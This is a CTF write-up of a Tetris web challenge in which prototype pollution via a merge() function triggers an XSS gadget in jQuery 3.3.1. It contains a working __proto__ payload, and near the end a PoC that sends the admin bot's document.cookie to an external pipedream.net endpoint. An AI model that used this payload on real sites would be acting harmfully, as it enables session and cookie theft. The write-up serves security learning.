Summary On the 25th, there was a CCE held by the National Intelligence Service, and at 11:10 pm, a few tens of minutes before the end of the competition, someone I knew asked me to solve it, so I tried to solve the GS 25 problem for a while, and it was very easy.
GS 25 [2** pts] This GS 25 challenge is to pollute Jquery gadget with Prototype Pollution to trigger XSS.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 ~/Exploit/ctf/2021/CCE 2021 main* ❯ tree for_user for_user └── for_user ├── docker │ ├── Dockerfile │ └── src │ ├── app.js │ ├── package.json │ ├── route │ │ └── index.js │ ├── run.sh │ ├── static │ │ ├── css │ │ │ ├── free-v4-font-face.min.css │ │ │ ├── free-v4-shims.min.css │ │ │ ├── free.min.css │ │ │ ├── main.css │ │ │ ├── tetris.css │ │ │ └── theme.css │ │ ├── js │ │ │ ├── axios.min.js │ │ │ ├── axios.min.map │ │ │ ├── bootstrap.min.js │ │ │ ├── bootstrap.min.js.map │ │ │ ├── fontawesome.js │ │ │ ├── game │ │ │ │ ├── piece.js │ │ │ │ ├── tetris.js │ │ │ │ └── tetrominoes.js │ │ │ ├── index.js │ │ │ ├── jquery-3.3.1.slim.min.js │ │ │ ├── popper.min.js │ │ │ └── popper.min.js.map │ │ └── texture.jpg │ └── views │ ├── component │ │ ├── footer.ejs │ │ ├── header.ejs │ │ └── navbar.ejs │ ├── game.ejs │ ├── index.ejs │ └── login.ejs ├── docker-compose.yml └── robot ├── Dockerfile └── src ├── app.js ├── package-lock.json ├── package.json ├── run.sh └── views └── index.ejs 13 directories, 37 files ~/Exploit/ctf/2021/CCE 2021 main* ❯
The challenge code is given above. So many :(
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 const express = require ('express' )const app = express ()const __DIR = './' const puppeteer = require ('puppeteer' )const url = 'http://prob' app.set ('views' , __DIR + '/views' ) app.set ('view engine' , 'ejs' ) app.engine ('html' , require ('ejs' ).renderFile ) app.use (express.json ()) app.use (express.urlencoded ({ extended : true })) app.get ('/' , (req, res ) => { res.render ('index' ) }) app.post ('/' , async (req, res) => { const { fileName, code } = req.body const cookies = [{ 'name' : 'fileName' , 'value' : fileName }, { 'name' : 'flag' , 'value' : 'cce2021{EXAMPLE_FLAG}' } ] await (async () => { const browser = await puppeteer.launch ({ args : ['--no-sandbox' , '--disable-setuid-sandbox' ] }) const page = await browser.newPage () page.on ('dialog' , async dialog => { if (dialog.message () == 'Input your game data code' ) await dialog.accept (code) else await dialog.dismiss () }) await page.goto (url, { waitUntil : 'networkidle2' , }) await page.setCookie (...cookies) await page.click ('#playBtn' ) await page.keyboard .type ('l' ) await new Promise (resolve => setTimeout (resolve, 1000 )) await browser.close () })() res.send ("Done" ) }) app.listen (80 )
If you look at the conditions for obtaining the flag, you can steal the cookie of the admin bot, and you need to trigger XSS to steal it.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 async function loadGame ( ){ const code = prompt ('Input your game data code' ) const req = await axios.post ('/loadGame' , { code }) const result = req.data if (result.state !== 'ok' ) { alert ('error' ) return } const data = req.data .data function isObject (obj ) { return obj !== null && typeof obj === 'object' } function merge (a, b ) { for (let key in b) { if (isObject (a[key]) && isObject (b[key])) { merge (a[key], b[key]) } else { a[key] = b[key] } } return a } this .cGameInfo = new GameInfo () merge (this .cGameInfo , data) initScreen () initPiecesMap (cGameInfo.panelRow , cGameInfo.panelColume ) initDisplayGamePanel (cGameInfo.panelColume , cGameInfo.panelRow ) initNextBlockInfo () setNextPieces () clearInterval (this .cGameInfo .dropIntervalId ) setDropInterval () $(document ).off ('keydown' ) document .addEventListener ('keydown' , keyboardEventHandler) $(document ).off ('touchmove' ) setControleButton () this .cGameInfo .changeSpeedDisplay () this .cGameInfo .updateScore (0 ) }
While checking the source code, I found a function called loadGame() in tetris.js. The loadGame() function sends a request for a unique Code value to /loadGame to get game information (object) corresponding to the Code value, and uses the merge() function to overwrite the GameInfo object.
Also, since I’m using Jquery 3.3.1 on that issue, I decided to look for an XSS gadget, and pollute that gadget to trigger XSS.
1 2 3 $(document ).off ('keydown' ) document .addEventListener ('keydown' , keyboardEventHandler)$(document ).off ('touchmove' )
If you look closely at the loadGame() function, you can see that there is an XSS gadget inside.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 async function keyboardEventHandler (e ) { if (e.keyCode == 67 ) { cGameInfo.cPiece .moveEndDown (); } else if (e.keyCode == 65 ) { cGameInfo.cPiece .moveLeft (); } else if (e.keyCode == 87 ) { cGameInfo.cPiece .rotate (); } else if (e.keyCode == 68 ) { cGameInfo.cPiece .moveRight (); } else if (e.keyCode == 83 ) { cGameInfo.cPiece .moveDown (); } else if (e.keyCode == 80 ) { await saveGame () }else if (e.keyCode == 76 ) { await loadGame () } }
The loadGame() function was not called automatically, but L, l had to be entered with the keyboard to execute it.
1 2 3 4 5 await page.click ('#playBtn' )await page.keyboard .type ('l' )await new Promise (resolve => setTimeout (resolve, 1000 ))
But, since the admin bot uses the keyboard method to input l, the admin bot also eventually executes the loadGame() function, so I thought that I could just try it.
1 2 3 4 5 6 7 8 9 POST /saveGame HTTP/1.1 Host : 20.194.62.226:4423Content-Length : 198Accept : application/json, text/plain, */* Chrome/92.0.4515.107 Safari/537.36Content-Type : application/json;charset=UTF-8Cookie : fileName=01f032bb-3210-4dd3-9555-078cfa75196dConnection : close{ "data" : { "__proto__" : { "__proto__" : { "preventDefault" : "x" , "handleObj" : "x" , "delegateTarget" : "<img/src/onerror=alert(1)>" } } } }
First, to check if XSS works well, I tried to execute the loadGame() function after saving the game as above.
As expected, I was able to confirm that the XSS trigger works well.
1 {"data":{"__proto__":{"__proto__":{"preventDefault":"x", "handleObj":"x","delegateTarget":"<img/src/onerror=fetch(`https://79a9bb50560aa2c77156e03b431dc2b3.m.pipedream.net/f=`+document.cookie)>"}}}}
The cookie stealing POC is as above.
Scenario
Save the PoC of Prototype Pollution in the /saveGame
Send the code number including the filename and PoC in the report logic.
Based on the above scenario, i were able to steal the flag by trying the exploit.
1 FLAG : cce2021{5cd5185ef46ce86f6c33543f75752a559fa843ec91a1176144f1a15d468f318d}